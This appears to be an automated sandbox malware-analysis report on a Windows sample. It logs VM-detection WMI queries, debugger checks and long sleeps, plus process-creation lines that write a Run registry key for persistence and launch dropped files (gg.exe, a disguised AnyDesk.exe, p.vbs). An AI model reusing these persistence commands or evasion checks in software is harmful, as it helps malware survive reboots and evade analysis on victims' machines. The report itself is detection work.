Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\WinNet\gg.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\ProgramData\WinNet\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\ProgramData\WinNet\AnyDesk.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_DiskDrive
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\ProgramData\WinNet\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT MACAddress FROM Win32_NetworkAdapter WHERE PhysicalAdapter = TRUE

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\ProgramData\WinNet\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 3240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 2F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 1590000 memory reserve \| memory write watch
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 30D0000 memory reserve \| memory write watch
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 2F00000 memory reserve \| memory write watch
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: DA0000 memory reserve \| memory write watch
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 2800000 memory reserve \| memory write watch
Source: C:\ProgramData\WinNet\gg.exe	Memory allocated: 2590000 memory reserve \| memory write watch

Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\ProgramData\WinNet\AnyDesk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\gcapi.dll			Jump to dropped file
Source: C:\ProgramData\WinNet\AnyDesk.exe	Dropped PE file which has not been started: C:\ProgramData\WinNet\gcapi.dll			Jump to dropped file

Source: C:\ProgramData\WinNet\AnyDesk.exe

API coverage: 2.0 %

Source: C:\ProgramData\WinNet\gg.exe TID: 7980	Thread sleep count: 157 > 30	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe TID: 7980	Thread sleep count: 337 > 30	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe TID: 2004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe TID: 7924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8084	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8104	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe TID: 980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe TID: 8028	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8168	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 7224	Thread sleep time: -30000s >= -30000s
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\WinNet\AnyDesk.exe TID: 8168	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\WinNet\gg.exe TID: 1700	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\WinNet\gg.exe TID: 7708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\WinNet\gg.exe TID: 6092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\WinNet\gg.exe TID: 7204	Thread sleep time: -922337203685477s >= -30000s

Source: C:\ProgramData\WinNet\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\AnyDesk.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C5F147 GetLocalTime followed by cmp: cmp dx, 000ch and CTI: jbe 69C5F183h

19_2_69C5F147

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C3F1AA VirtualQuery,GetSystemInfo,

19_2_69C3F1AA

Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\WinNet\gg.exe	Thread delayed: delay time: 922337203685477

Source: SysrI6zSkJ.exe, 00000000.00000003.2258580120.000001589FD80000.00000004.00001000.00020000.00000000.sdmp, SysrI6zSkJ.exe, 00000000.00000000.1627710192.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, SysrI6zSkJ.exe, 00000000.00000002.3480634743.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, embedded.exe, 00000007.00000002.3479713989.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp, embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: cmd.exe, 0000000C.00000002.1661939794.00000194203D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: gg.exe, 0000000F.00000002.1916308697.000000000732A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: SysrI6zSkJ.exe, 00000000.00000002.3474804775.000001589C09C000.00000004.00000020.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1892050409.0000000006590000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: embedded.exe, 00000007.00000002.3473774282.0000022F09AEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK

Source: C:\ProgramData\WinNet\gg.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\WinNet\gg.exe

Code function: 18_2_0617D648 LdrInitializeThunk,

18_2_0617D648

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C45F8C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

19_2_69C45F8C

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C49E6A mov eax, dword ptr fs:[00000030h]

19_2_69C49E6A

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C4B428 GetProcessHeap,

19_2_69C4B428

Source: C:\ProgramData\WinNet\gg.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C40FC3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_69C40FC3
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C45F8C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_69C45F8C
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C414B2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_69C414B2

Source: C:\ProgramData\WinNet\gg.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\embedded.exe	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WinNet\embedded.exe C:\ProgramData\WinNet\embedded.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\AnyDesk.exe	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe C:\ProgramData\WinNet\AnyDesk.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C5F711 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

19_2_69C5F711

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C4168B cpuid

19_2_69C4168B

Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: IsValidCodePage,GetLocaleInfoW,	19_2_69C5AD29
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: EnumSystemLocalesW,	19_2_69C4EC36
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: EnumSystemLocalesW,	19_2_69C5AFB1
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: EnumSystemLocalesW,	19_2_69C5AF66
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetLocaleInfoW,	19_2_69C5AEBD
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetLocaleInfoW,	19_2_69C4F15E
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	19_2_69C5B0D9
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: EnumSystemLocalesW,	19_2_69C5B04C
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetLocaleInfoW,	19_2_69C5B329
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,GetLocaleInfoW,	19_2_69C3D200
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetLocaleInfoW,	19_2_69C5B559
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	19_2_69C5B452
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	19_2_69C5B626

Source: C:\ProgramData\WinNet\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Queries volume information: C:\Users\user\Desktop\SysrI6zSkJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Queries volume information: C:\Users\user\Desktop\SysrI6zSkJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Queries volume information: C:\Users\user\Desktop\SysrI6zSkJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Queries volume information: C:\Users\user\Desktop\SysrI6zSkJ.exe VolumeInformation	Jump to behavior
